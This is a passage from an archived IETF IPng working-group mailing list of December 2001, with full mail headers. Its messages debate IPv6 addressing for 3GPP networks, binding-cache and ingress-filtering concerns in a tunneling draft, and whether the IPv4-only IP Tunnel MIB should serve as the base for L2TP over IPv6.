2001 12:06:45 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA00466 for ; Tue, 11 Dec 2001 12:06:45 -0800 (PST) Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA12721 for ; Tue, 11 Dec 2001 13:06:44 -0700 (MST) Received: from kenawang ([192.168.1.42]) by mail.wrs.com (8.9.3/8.9.1) with ESMTP id MAA16915; Tue, 11 Dec 2001 12:05:40 -0800 (PST) Message-Id: <4.2.2.20011211144934.01fb1920@mail.windriver.com> X-Sender: mrw@mail.windriver.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Tue, 11 Dec 2001 14:56:49 -0500 To: Francis Dupont From: Margaret Wasserman Subject: Re: draft-wasserman-3gpp-advice-00.txt Cc: ipng@sunroof.eng.sun.com In-Reply-To: <200112041356.fB4DudD89565@givry.rennes.enst-bretagne.fr> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi Francis, I'm not sure that I understand that second issue that you raised in your response to the IPv6-3GPP document: At 08:56 AM 12/4/01 , Francis Dupont wrote: >The second concern is a bit different, GGSNs will be the point of >connection to an IP world (the Internet, an Intranet) only if the >regulation bodies are not involved. We already know the vertical >integration in a walled garden dream of telecom operators but >fortunately regulation bodies (like ART in France) are here in >order to require a real open market for IP services. This is not >new and this already happened for ADSL, so I believe we'll get >similar solutions. >If the point of connection to IP is a NAS (Network Access Server) >of an ISP, Are you saying that the regulating bodies in France will require 3GPP providers to go through existing ISPs to get their Internet service? If so, how does this change anything? In our perfect world, 3GPP nodes will be running Internet applications over IPv6. Even if IPv4 connectivity is ultimately provided by an existing ISP, the IPv6 traffic will need to be routed through the GGSN and a transition mechanism (NAT-PT or 6-over-4) will be required to send traffic over the IPv4 Internet. The choice of transition mechanism should probably depend on whether the ultimate destination is an IPv4 node, or an IPv6 node (such as another 3GPP-attached device). >the PDP type of choice should be PPP, just because >PPP/Radius provides a good network access control. Note that >this solves: > - the UE issue because PPP is a very well known protocol > - the network access control issue because PPP has good > authentication-authorization-accounting features (PS: > IP network access control, the radio network access control > should be the job of the SIM based stuff. They have to be > different because the operator and the ISP are not the same entity) > - the GGSN routing issue because if addresses are allocated by ISPs, > the GGSN has to manage a zillion of host (or /64) routes. > - the GGSN to ISP attachement (Gi) because there is no reason to > not reuse the current ADSL solution (ATM (sic!) to BASs). Are you suggesting that the 3GPP should replace the current PDP context concept with PPP? This would be a substantial architectural change to 3GPP, and is outside of the scope of our document. Margaret -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 12:23:46 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBKNkvU023194 for ; Tue, 11 Dec 2001 12:23:46 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBBKNjFG023193 for ipng-dist; Tue, 11 Dec 2001 12:23:45 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBKNfvU023186 for ; Tue, 11 Dec 2001 12:23:41 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA12758 for ; Tue, 11 Dec 2001 12:23:37 -0800 (PST) Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA10930 for ; Tue, 11 Dec 2001 13:23:36 -0700 (MST) Received: from kenawang ([192.168.1.42]) by mail.wrs.com (8.9.3/8.9.1) with ESMTP id MAA28348; Tue, 11 Dec 2001 12:22:39 -0800 (PST) Message-Id: <4.2.2.20011211152008.01c39100@mail.windriver.com> X-Sender: mrw@mail.windriver.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Tue, 11 Dec 2001 15:20:30 -0500 To: john.loughney@nokia.com From: Margaret Wasserman Subject: Re: Quick comments on draft-wasserman-3gpp-advice-00.txt Cc: ipng@sunroof.eng.sun.com In-Reply-To: <0C1353ABB1DEB74DB067ADFF749C4EEF09BC2C@esebe004.NOE.Nokia. com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Thanks, John. This seems like a good idea. We will discuss it in the design team. Margaret At 06:53 AM 11/26/01 , john.loughney@nokia.com wrote: >Hi all, > >I have some very general comments on the document. They are mostly >editorial / layout type of comments. > >It seems that there are 3 main recommendations made in the document: > > 1. Specify that multiple prefixes may be assigned to each > primary PDP context, > > 2. Require that a given prefix must not be assigned to more > than one primary PDP context, and > > 3. Allow 3GPP nodes to use multiple identifiers within those > prefixes, including randomly generated identifiers. > >It might be useful for each recommendation to have some subsections such >as: > > - Pros > > - Cons > > - Impact upon architecture / implementation > >I think that by more clearly listing what advantages & disadvantages >the recommendations bring, it will be easier to address the recommendations >(no pun intended). The 3rd bullet (Impact ...) is a purely practical >point - as some service providers / manufacturers may be dis-inclined >to support the changes unless they are relatively modest. Additionally, >if the changes are minor, it might be possible for service providers >to update their networks ... > >I do think you have most all of the text currently in the document, >but a slight reformating would help to bring out the issues. > >best regards, >John -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 12:23:36 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBKNavU023184 for ; Tue, 11 Dec 2001 12:23:36 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBBKNZOD023183 for ipng-dist; Tue, 11 Dec 2001 12:23:35 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBKNVvU023175 for ; Tue, 11 Dec 2001 12:23:31 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA12733 for ; Tue, 11 Dec 2001 12:23:31 -0800 (PST) Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA17860 for ; Tue, 11 Dec 2001 13:23:31 -0700 (MST) Received: from kenawang ([192.168.1.42]) by mail.wrs.com (8.9.3/8.9.1) with ESMTP id MAA28326; Tue, 11 Dec 2001 12:22:34 -0800 (PST) Message-Id: <4.2.2.20011211151410.01fb2e50@mail.windriver.com> X-Sender: mrw@mail.windriver.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Tue, 11 Dec 2001 15:17:35 -0500 To: Juan-Antonio Ibanez From: Margaret Wasserman Subject: Re: Feedback from 3GPP about draft-wasserman Cc: ipng@sunroof.eng.sun.com In-Reply-To: <3C153C25.9632F417@eed.ericsson.se> References: <3C0FC2B3.7D3EC831@eed.ericsson.se> <3C150335.77CA4D58@hursley.ibm.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk At 05:50 PM 12/10/01 , you wrote: >Well, all terminals attached to a given APN will receive the same router >advertisements from the GGSN, so having two IPv4 global addresses per >APN would simply mean that each primary PDP context would get two 6to4 >addresses, but the limit will still be 64k primary PDP contexts per APN. Why would all terminals attached to a given APN receive the same router advertisements? Won't there be multiple PDP contexts associated with a given APN? If so, the GGSN should be sending different router advertisements for each PDP context, each containing the prefix(es) assigned to that particular PDP context. Since each prefix will be assigned to one (and only one) PDP context, I think that you will have the possibility of assigning 64K 6to4 addresses per PDP context, not per APN. Am I misunderstanding something? Margaret -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 12:38:03 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBKc2vU023287 for ; Tue, 11 Dec 2001 12:38:02 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBBKc2rG023286 for ipng-dist; Tue, 11 Dec 2001 12:38:02 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBKbxvU023279 for ; Tue, 11 Dec 2001 12:37:59 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA11881; Tue, 11 Dec 2001 12:37:55 -0800 (PST) Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id NAA26741; Tue, 11 Dec 2001 13:38:28 -0700 (MST) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id fBBKbn603564; Tue, 11 Dec 2001 12:37:49 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAM54076; Tue, 11 Dec 2001 12:37:13 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id MAA03212; Tue, 11 Dec 2001 12:37:47 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15382.28315.548407.665248@thomasm-u1.cisco.com> Date: Tue, 11 Dec 2001 12:37:47 -0800 (PST) To: Erik Nordmark Cc: Pekka Savola , "Jari T. Malinen" , ipng@sunroof.eng.sun.com Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt In-Reply-To: References: X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Erik Nordmark writes: > Of course there are some details e.g. on how the MN discovers that the CN has > garbage collected the BCE but I think an ICMP error can handle that (but > I haven't thought enough about that). Well, you probably should. This is essentially the same problem as the IPsec SPI-blackhole problem. It doesn't currently have a solution, and there are quite a few implications. DoS being one of the big ones. Mike -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 12:47:37 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBKlbvU023307 for ; Tue, 11 Dec 2001 12:47:37 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBBKlbsm023306 for ipng-dist; Tue, 11 Dec 2001 12:47:37 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBKlXvU023299 for ; Tue, 11 Dec 2001 12:47:34 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA14314 for ; Tue, 11 Dec 2001 12:47:34 -0800 (PST) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA20195 for ; Tue, 11 Dec 2001 12:47:30 -0800 (PST) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id fBBKlKo15365; Tue, 11 Dec 2001 12:47:20 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAM54337; Tue, 11 Dec 2001 12:46:45 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id MAA03215; Tue, 11 Dec 2001 12:47:19 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15382.28887.341374.219092@thomasm-u1.cisco.com> Date: Tue, 11 Dec 2001 12:47:19 -0800 (PST) To: Francis Dupont Cc: Pekka Savola , ipng@sunroof.eng.sun.com Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt In-Reply-To: <200112110446.fBB4kAD20070@givry.rennes.enst-bretagne.fr> References: <200112110446.fBB4kAD20070@givry.rennes.enst-bretagne.fr> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Francis Dupont writes: > In your previous mail you wrote: > => the state can be kept by the network access control system (which > cannot be stateless). And stateful firewalls are strictly more powerful > than stateless firewalls (this is not free of course). > > IMO, I greatly dislike stateful firewalls. They're one of the breakers of > e2e. > > => I dislike all firewalls, but this problem is a threat against > ingress filtering so an ingress filtering solution is better. I don't think I agree. Ingress filtering was adopted primarily because it could be done relatively easily through RPF checks. It's still pretty much an architectural hack though, and what we are seeing here is another manifestation of RFP-break-with-assymmetric-routes, IMO. I think it's far more productive to go back to first principles here in light of the new requirements. At the very least, we should consider whether edge policing is possible or desirable given the necessity of introducing new state and signaling. Maybe we ought to consider the end to end principle again. Mike -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 12:57:31 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBKvVvU023338 for ; Tue, 11 Dec 2001 12:57:31 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBBKvUQM023337 for ipng-dist; Tue, 11 Dec 2001 12:57:30 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBKvRvU023330 for ; Tue, 11 Dec 2001 12:57:27 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA01962 for ; Tue, 11 Dec 2001 12:57:28 -0800 (PST) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id NAA05329 for ; Tue, 11 Dec 2001 13:58:06 -0700 (MST) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id fBBKvHo14561 for ; Tue, 11 Dec 2001 12:57:21 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAM54587; Tue, 11 Dec 2001 12:56:42 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id MAA03220; Tue, 11 Dec 2001 12:57:15 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15382.29483.824833.130446@thomasm-u1.cisco.com> Date: Tue, 11 Dec 2001 12:57:15 -0800 (PST) To: ipng@sunroof.eng.sun.com Subject: YATP (yet another tunneling protocol) X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk IMO, the world really doesn't need one of these if it just defines yet another way to construct an ip-in-ip pipe without any other redeeming qualities. We have plenty. In fact, we have too many. What we *don't* have is a way to create casual tunnels with little or no infrastructure. *This* is the problem that Mobile IP struggles with, not how to generalize tunnel header redundancy optimizations. If this WG took on both those problems, I think I'd be supportive because casual tunnel establishment with little or no security infrastructure would be useful beyond mobile IP. If it doesn't, then I don't think that there's any reason why MIP should adopt it, nor do I think that there's much other pressing need for this. Mike -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 13:07:33 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBL7XvU023379 for ; Tue, 11 Dec 2001 13:07:33 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBBL7Xsc023378 for ipng-dist; Tue, 11 Dec 2001 13:07:33 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBL7VvU023371 for ; Tue, 11 Dec 2001 13:07:31 -0800 (PST) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id fBBL77NE020560 for ; Tue, 11 Dec 2001 13:07:07 -0800 (PST) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.1+Sun/8.12.1/Submit) id fBBL77Mj020559 for ipng@sunroof.eng.sun.com; Tue, 11 Dec 2001 13:07:07 -0800 (PST) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBALaZvU014562 for ; Mon, 10 Dec 2001 13:36:35 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA25877 for ; Mon, 10 Dec 2001 13:36:37 -0800 (PST) Received: from localhost.localdomain (251-196-131-12.bellhead.com [12.131.196.251]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA14537 for ; Mon, 10 Dec 2001 13:36:36 -0800 (PST) Received: from occamnetworks.com (252-202-131-12.bellhead.com [12.131.202.252]) by localhost.localdomain (8.11.6/8.11.6) with ESMTP id fBALXTj11597; Mon, 10 Dec 2001 14:33:30 -0700 Message-ID: <3C152A1B.8010308@occamnetworks.com> Date: Mon, 10 Dec 2001 13:33:15 -0800 From: Evan Caves User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1 X-Accept-Language: en-us MIME-Version: 1.0 To: Klausberger Walter CC: "'Daniel Feldman'" , "W. Mark Townsley" , l2tpext@ietf.org, ipng@sunroof.eng.sun.com Subject: Re: [L2tpext] IP Tunnel MIB References: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk inline Klausberger Walter wrote: >Hi, > >I think the Tunnel MIB was fine, when it was defined, but I do not think >that it was a very good idea to use it as base for L2TP. > This last comment does not make any sense. Using the IP Tunnel MIB as a base mib for IPv4 tunneling strategies was its intent. L2TP used it because it was supposed to. >Maybe you could do >a fast adaptation by changing TOS to traffic class and the like, but don't >we need additional enhancements in the near future. The tunnel MIB is fixed >to IPv4. > The IP Tunnel MIB specifically states that it manages tunnels over IPv4 networks, period, and that tunnels over other networks will require their own management support. > > >I had some discussion with Evan Caves and Dave Thaler during the San Diego >meeting a year ago. This MIB fits for all kind of statically used tunnels >over IPv4, but I found a lot of problems together with dynamically created >tunnels (in LAC case via RADIUS) and L2TP over ATM/Frame Relay (e.g. >endpoint identifier, security,...). > If there are problems with the current MIB definitions then they should be discussed and rectified if necessary. > > >Now we have this new case with IPv6. Next may be MPLS or something else. >Shouldn't we consider an alternativ to the Tunnel MIB as part of a new MIB >for L2TP, which is still no RFC (I wonder if it will ever become an RFC)? Or >should we think of an advanced version of a more generic Tunnel MIB. > >Or should we make a seperate MIB for L2TP over IPv6? (then we should do be >more flexible than the Tunnel MIB)? > If an IP Tunnel MIB for IPv6 networks is defined then L2TP will use that as a base. evan - -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 13:08:20 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBL8JvU023399 for ; Tue, 11 Dec 2001 13:08:19 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBBL8IEU023398 for ipng-dist; Tue, 11 Dec 2001 13:08:18 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBL8HvU023391 for ; Tue, 11 Dec 2001 13:08:17 -0800 (PST) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id fBBL7rNE020620 for ; Tue, 11 Dec 2001 13:07:53 -0800 (PST) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.1+Sun/8.12.1/Submit) id fBBL7q9e020619 for ipng@sunroof.eng.sun.com; Tue, 11 Dec 2001 13:07:52 -0800 (PST) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBB04fvU016571 for ; Mon, 10 Dec 2001 16:04:42 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA29026 for ; Mon, 10 Dec 2001 16:04:42 -0800 (PST) Received: from franklin.cisco.com (franklin.cisco.com [171.70.156.17]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA23460 for ; Mon, 10 Dec 2001 16:04:42 -0800 (PST) Received: from cisco.com (sj-dial-4-19.cisco.com [171.68.181.148]) by franklin.cisco.com (8.8.6 (PHNE_17190)/CISCO.SERVER.1.2) with ESMTP id QAA05189; Mon, 10 Dec 2001 16:03:50 -0800 (PST) Message-ID: <3C153CB1.5CCA44A2@cisco.com> Date: Mon, 10 Dec 2001 15:52:33 -0700 From: "W. Mark Townsley" X-Mailer: Mozilla 4.76 [en]C-CCK-MCD (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Klausberger Walter CC: "'Daniel Feldman'" , l2tpext@ietf.org, ipng@sunroof.eng.sun.com Subject: Re: [L2tpext] IP Tunnel MIB References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi Walter. The L2TP MIB we have today, which for the record is the MIB for RFC2661 L2TP over IPv4, has available for extensive review by this group as well as the MIB Doctors whose time is not easy to come by and blessing sometimes difficult to achieve. It has been a long and tedious process that I would hate to turn on its ear at this point and try to repeat from square zero. As you have mentioned, L2TPv3 will require significant MIB changes in order to support multiple L2 transports. This is a reasonable opportunity to ensure that the MIB is fully "IPv6 ready," particularly in as much as this affects usage of the base tunnel MIB cited in this thread. I think the WG would be pleased to have your MIB expertise available for this effort. So, unless your objections today are so strong that you think that the current MIB is completely *broken* for RFC2661-based L2TP tunneling of PPP over IPv4, then let's go ahead and move forward with what we have now, and then begin anew for L2TPv3 with fresh insights. Thanks, - Mark Klausberger Walter wrote: > > Hi, > > I think the Tunnel MIB was fine, when it was defined, but I do not think > that it was a very good idea to use it as base for L2TP. Maybe you could do > a fast adaptation by changing TOS to traffic class and the like, but don't > we need additional enhancements in the near future. The tunnel MIB is fixed > to IPv4. > > I had some discussion with Evan Caves and Dave Thaler during the San Diego > meeting a year ago. This MIB fits for all kind of statically used tunnels > over IPv4, but I found a lot of problems together with dynamically created > tunnels (in LAC case via RADIUS) and L2TP over ATM/Frame Relay (e.g. > endpoint identifier, security,...). > > Now we have this new case with IPv6. Next may be MPLS or something else. > Shouldn't we consider an alternativ to the Tunnel MIB as part of a new MIB > for L2TP, which is still no RFC (I wonder if it will ever become an RFC)? Or > should we think of an advanced version of a more generic Tunnel MIB. > > Or should we make a seperate MIB for L2TP over IPv6? (then we should do be > more flexible than the Tunnel MIB)? > > Hope you think not I'm a radical, but this issue concerns me for more than a > year now and so IPv6 is just a new trigger. I hoped that we could fix all > the problems with a new MIB for L2TPv3... > > regards > - walter > > > -----Original Message----- > > From: Daniel Feldman [mailto:daniel@ic4ic.com] > > Sent: Saturday, December 08, 2001 7:12 AM > > To: W. Mark Townsley > > Cc: l2tpext@ietf.org; ipng@sunroof.eng.sun.com > > Subject: RE: [L2tpext] IP Tunnel MIB > > > > > > Sorry, I wasn't on the L2TPext list back in March... > > > > The minimal modification that RFC2667 should suffer in order > > to be IPv6 > > compatible would be, of coarse, having the IP address fields changed > > from 32 to 128 bits. Another possible change would be > > including the Flow > > Label field to the TunnelIfEntry (it includes now LocalAddress, > > RemoteAddress, EncapsMethod, HopLimit, Security and TOS). TOS can be > > used as traffic class, so just a name change there. > > > > -----Original Message----- > > From: W. Mark Townsley [mailto:townsley@cisco.com] > > Sent: Saturday, December 08, 2001 2:45 AM > > To: Daniel Feldman > > Cc: l2tpext@ietf.org; ipng@sunroof.eng.sun.com > > Subject: Re: [L2tpext] IP Tunnel MIB > > > > > > > > > > Daniel Feldman wrote: > > > > > > Dear IPNG and L2TP groups, > > > RFC 2667 deals with IP Tunnel MIB, which is needed for the > > L2TP > > > MIB. However, it only supports IPv4: > > > > > > "Finally, this MIB does not support tunnels over non-IPv4 